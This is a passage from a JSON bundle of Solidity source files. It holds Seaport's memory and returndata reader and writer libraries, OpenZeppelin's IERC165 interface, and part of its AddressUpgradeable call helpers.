}\n\n /// @dev Reads the int80 at `rdPtr` in returndata.\n function readInt80(\n ReturndataPointer rdPtr\n ) internal pure returns (int80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int88 at `rdPtr` in returndata.\n function readInt88(\n ReturndataPointer rdPtr\n ) internal pure returns (int88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int96 at `rdPtr` in returndata.\n function readInt96(\n ReturndataPointer rdPtr\n ) internal pure returns (int96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int104 at `rdPtr` in returndata.\n function readInt104(\n ReturndataPointer rdPtr\n ) internal pure returns (int104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int112 at `rdPtr` in returndata.\n function readInt112(\n ReturndataPointer rdPtr\n ) internal pure returns (int112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int120 at `rdPtr` in returndata.\n function readInt120(\n ReturndataPointer rdPtr\n ) internal pure returns (int120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int128 at `rdPtr` in returndata.\n function readInt128(\n ReturndataPointer rdPtr\n ) internal pure returns (int128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int136 at `rdPtr` in returndata.\n function readInt136(\n ReturndataPointer rdPtr\n ) internal pure returns (int136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int144 at `rdPtr` in returndata.\n function readInt144(\n ReturndataPointer rdPtr\n ) internal pure returns (int144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int152 at `rdPtr` in returndata.\n function readInt152(\n ReturndataPointer rdPtr\n ) internal pure returns (int152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int160 at `rdPtr` in returndata.\n function readInt160(\n ReturndataPointer rdPtr\n ) internal pure returns (int160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int168 at `rdPtr` in returndata.\n function readInt168(\n ReturndataPointer rdPtr\n ) internal pure returns (int168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int176 at `rdPtr` in returndata.\n function readInt176(\n ReturndataPointer rdPtr\n ) internal pure returns (int176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int184 at `rdPtr` in returndata.\n function readInt184(\n ReturndataPointer rdPtr\n ) internal pure returns (int184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int192 at `rdPtr` in returndata.\n function readInt192(\n ReturndataPointer rdPtr\n ) internal pure returns (int192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int200 at `rdPtr` in returndata.\n function readInt200(\n ReturndataPointer rdPtr\n ) internal pure returns (int200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int208 at `rdPtr` in returndata.\n function readInt208(\n ReturndataPointer rdPtr\n ) internal pure returns (int208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int216 at `rdPtr` in returndata.\n function readInt216(\n ReturndataPointer rdPtr\n ) internal pure returns (int216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int224 at `rdPtr` in returndata.\n function readInt224(\n ReturndataPointer rdPtr\n ) internal pure returns (int224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int232 at `rdPtr` in returndata.\n function readInt232(\n ReturndataPointer rdPtr\n ) internal pure returns (int232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int240 at `rdPtr` in returndata.\n function readInt240(\n ReturndataPointer rdPtr\n ) internal pure returns (int240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int248 at `rdPtr` in returndata.\n function readInt248(\n ReturndataPointer rdPtr\n ) internal pure returns (int248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int256 at `rdPtr` in returndata.\n function readInt256(\n ReturndataPointer rdPtr\n ) internal pure returns (int256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n}\n\nlibrary MemoryReaders {\n /// @dev Reads the memory pointer at `mPtr` in memory.\n function readMemoryPointer(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads value at `mPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n value = mPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `mPtr` in memory.\n function readBool(MemoryPointer mPtr) internal pure returns (bool value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the address at `mPtr` in memory.\n function readAddress(\n MemoryPointer mPtr\n ) internal pure returns (address value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `mPtr` in memory.\n function readBytes1(\n MemoryPointer mPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `mPtr` in memory.\n function readBytes2(\n MemoryPointer mPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `mPtr` in memory.\n function readBytes3(\n MemoryPointer mPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `mPtr` in memory.\n function readBytes4(\n MemoryPointer mPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `mPtr` in memory.\n function readBytes5(\n MemoryPointer mPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `mPtr` in memory.\n function readBytes6(\n MemoryPointer mPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `mPtr` in memory.\n function readBytes7(\n MemoryPointer mPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `mPtr` in memory.\n function readBytes8(\n MemoryPointer mPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `mPtr` in memory.\n function readBytes9(\n MemoryPointer mPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `mPtr` in memory.\n function readBytes10(\n MemoryPointer mPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `mPtr` in memory.\n function readBytes11(\n MemoryPointer mPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `mPtr` in memory.\n function readBytes12(\n MemoryPointer mPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `mPtr` in memory.\n function readBytes13(\n MemoryPointer mPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `mPtr` in memory.\n function readBytes14(\n MemoryPointer mPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `mPtr` in memory.\n function readBytes15(\n MemoryPointer mPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `mPtr` in memory.\n function readBytes16(\n MemoryPointer mPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `mPtr` in memory.\n function readBytes17(\n MemoryPointer mPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `mPtr` in memory.\n function readBytes18(\n MemoryPointer mPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `mPtr` in memory.\n function readBytes19(\n MemoryPointer mPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `mPtr` in memory.\n function readBytes20(\n MemoryPointer mPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `mPtr` in memory.\n function readBytes21(\n MemoryPointer mPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `mPtr` in memory.\n function readBytes22(\n MemoryPointer mPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `mPtr` in memory.\n function readBytes23(\n MemoryPointer mPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `mPtr` in memory.\n function readBytes24(\n MemoryPointer mPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `mPtr` in memory.\n function readBytes25(\n MemoryPointer mPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `mPtr` in memory.\n function readBytes26(\n MemoryPointer mPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `mPtr` in memory.\n function readBytes27(\n MemoryPointer mPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `mPtr` in memory.\n function readBytes28(\n MemoryPointer mPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `mPtr` in memory.\n function readBytes29(\n MemoryPointer mPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `mPtr` in memory.\n function readBytes30(\n MemoryPointer mPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `mPtr` in memory.\n function readBytes31(\n MemoryPointer mPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `mPtr` in memory.\n function readBytes32(\n MemoryPointer mPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint8 at `mPtr` in memory.\n function readUint8(MemoryPointer mPtr) internal pure returns (uint8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint16 at `mPtr` in memory.\n function readUint16(\n MemoryPointer mPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint24 at `mPtr` in memory.\n function readUint24(\n MemoryPointer mPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint32 at `mPtr` in memory.\n function readUint32(\n MemoryPointer mPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint40 at `mPtr` in memory.\n function readUint40(\n MemoryPointer mPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint48 at `mPtr` in memory.\n function readUint48(\n MemoryPointer mPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint56 at `mPtr` in memory.\n function readUint56(\n MemoryPointer mPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint64 at `mPtr` in memory.\n function readUint64(\n MemoryPointer mPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint72 at `mPtr` in memory.\n function readUint72(\n MemoryPointer mPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint80 at `mPtr` in memory.\n function readUint80(\n MemoryPointer mPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint88 at `mPtr` in memory.\n function readUint88(\n MemoryPointer mPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint96 at `mPtr` in memory.\n function readUint96(\n MemoryPointer mPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint104 at `mPtr` in memory.\n function readUint104(\n MemoryPointer mPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint112 at `mPtr` in memory.\n function readUint112(\n MemoryPointer mPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint120 at `mPtr` in memory.\n function readUint120(\n MemoryPointer mPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint128 at `mPtr` in memory.\n function readUint128(\n MemoryPointer mPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint136 at `mPtr` in memory.\n function readUint136(\n MemoryPointer mPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint144 at `mPtr` in memory.\n function readUint144(\n MemoryPointer mPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint152 at `mPtr` in memory.\n function readUint152(\n MemoryPointer mPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint160 at `mPtr` in memory.\n function readUint160(\n MemoryPointer mPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint168 at `mPtr` in memory.\n function readUint168(\n MemoryPointer mPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint176 at `mPtr` in memory.\n function readUint176(\n MemoryPointer mPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint184 at `mPtr` in memory.\n function readUint184(\n MemoryPointer mPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint192 at `mPtr` in memory.\n function readUint192(\n MemoryPointer mPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint200 at `mPtr` in memory.\n function readUint200(\n MemoryPointer mPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint208 at `mPtr` in memory.\n function readUint208(\n MemoryPointer mPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint216 at `mPtr` in memory.\n function readUint216(\n MemoryPointer mPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint224 at `mPtr` in memory.\n function readUint224(\n MemoryPointer mPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint232 at `mPtr` in memory.\n function readUint232(\n MemoryPointer mPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint240 at `mPtr` in memory.\n function readUint240(\n MemoryPointer mPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint248 at `mPtr` in memory.\n function readUint248(\n MemoryPointer mPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint256 at `mPtr` in memory.\n function readUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int8 at `mPtr` in memory.\n function readInt8(MemoryPointer mPtr) internal pure returns (int8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int16 at `mPtr` in memory.\n function readInt16(MemoryPointer mPtr) internal pure returns (int16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int24 at `mPtr` in memory.\n function readInt24(MemoryPointer mPtr) internal pure returns (int24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int32 at `mPtr` in memory.\n function readInt32(MemoryPointer mPtr) internal pure returns (int32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int40 at `mPtr` in memory.\n function readInt40(MemoryPointer mPtr) internal pure returns (int40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int48 at `mPtr` in memory.\n function readInt48(MemoryPointer mPtr) internal pure returns (int48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int56 at `mPtr` in memory.\n function readInt56(MemoryPointer mPtr) internal pure returns (int56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int64 at `mPtr` in memory.\n function readInt64(MemoryPointer mPtr) internal pure returns (int64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int72 at `mPtr` in memory.\n function readInt72(MemoryPointer mPtr) internal pure returns (int72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int80 at `mPtr` in memory.\n function readInt80(MemoryPointer mPtr) internal pure returns (int80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int88 at `mPtr` in memory.\n function readInt88(MemoryPointer mPtr) internal pure returns (int88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int96 at `mPtr` in memory.\n function readInt96(MemoryPointer mPtr) internal pure returns (int96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int104 at `mPtr` in memory.\n function readInt104(\n MemoryPointer mPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int112 at `mPtr` in memory.\n function readInt112(\n MemoryPointer mPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int120 at `mPtr` in memory.\n function readInt120(\n MemoryPointer mPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int128 at `mPtr` in memory.\n function readInt128(\n MemoryPointer mPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int136 at `mPtr` in memory.\n function readInt136(\n MemoryPointer mPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int144 at `mPtr` in memory.\n function readInt144(\n MemoryPointer mPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int152 at `mPtr` in memory.\n function readInt152(\n MemoryPointer mPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int160 at `mPtr` in memory.\n function readInt160(\n MemoryPointer mPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int168 at `mPtr` in memory.\n function readInt168(\n MemoryPointer mPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int176 at `mPtr` in memory.\n function readInt176(\n MemoryPointer mPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int184 at `mPtr` in memory.\n function readInt184(\n MemoryPointer mPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int192 at `mPtr` in memory.\n function readInt192(\n MemoryPointer mPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int200 at `mPtr` in memory.\n function readInt200(\n MemoryPointer mPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int208 at `mPtr` in memory.\n function readInt208(\n MemoryPointer mPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int216 at `mPtr` in memory.\n function readInt216(\n MemoryPointer mPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int224 at `mPtr` in memory.\n function readInt224(\n MemoryPointer mPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int232 at `mPtr` in memory.\n function readInt232(\n MemoryPointer mPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int240 at `mPtr` in memory.\n function readInt240(\n MemoryPointer mPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int248 at `mPtr` in memory.\n function readInt248(\n MemoryPointer mPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int256 at `mPtr` in memory.\n function readInt256(\n MemoryPointer mPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n}\n\nlibrary MemoryWriters {\n /// @dev Writes `valuePtr` to memory at `mPtr`.\n function write(MemoryPointer mPtr, MemoryPointer valuePtr) internal pure {\n assembly {\n mstore(mPtr, valuePtr)\n }\n }\n\n /// @dev Writes a boolean `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, bool value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an address `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, address value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a bytes32 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeBytes32(MemoryPointer mPtr, bytes32 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a uint256 `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, uint256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an int256 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeInt(MemoryPointer mPtr, int256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n}\n" }, "lib/seaport/lib/seaport-types/src/interfaces/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.7;\n\n/\n @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n \n Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n \n For an implementation, see {ERC165}.\n /\ninterface IERC165 {\n /\n @dev Returns true if this contract implements the interface defined by\n * `interfaceId`.\n \n This function call must use less than 30 000 gas.\n /\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.19;\n\n/\n @dev Collection of functions related to the address type\n /\nlibrary AddressUpgradeable {\n /\n @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n \n https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n \n https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n \n IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n /\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /\n @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n \n If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n \n Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n \n Requirements:\n \n - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n \n _Available since v3.1._\n /\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n \n _Available since v3.1._\n /\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n \n Requirements:\n \n - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n \n _Available since v3.1._\n /\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n \n _Available since v3.1._\n /\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n \n _Available since v3.3._\n /\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n \n _Available since v3.3._\n /\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n \n _Available since v3.4._\n /\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n \n _Available since v3.4._\n /\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /\n @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n \n _Available since v4.8._\n /\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check if target is a contract if the call was successful and the return data is empty\n // otherwise we already know that it was 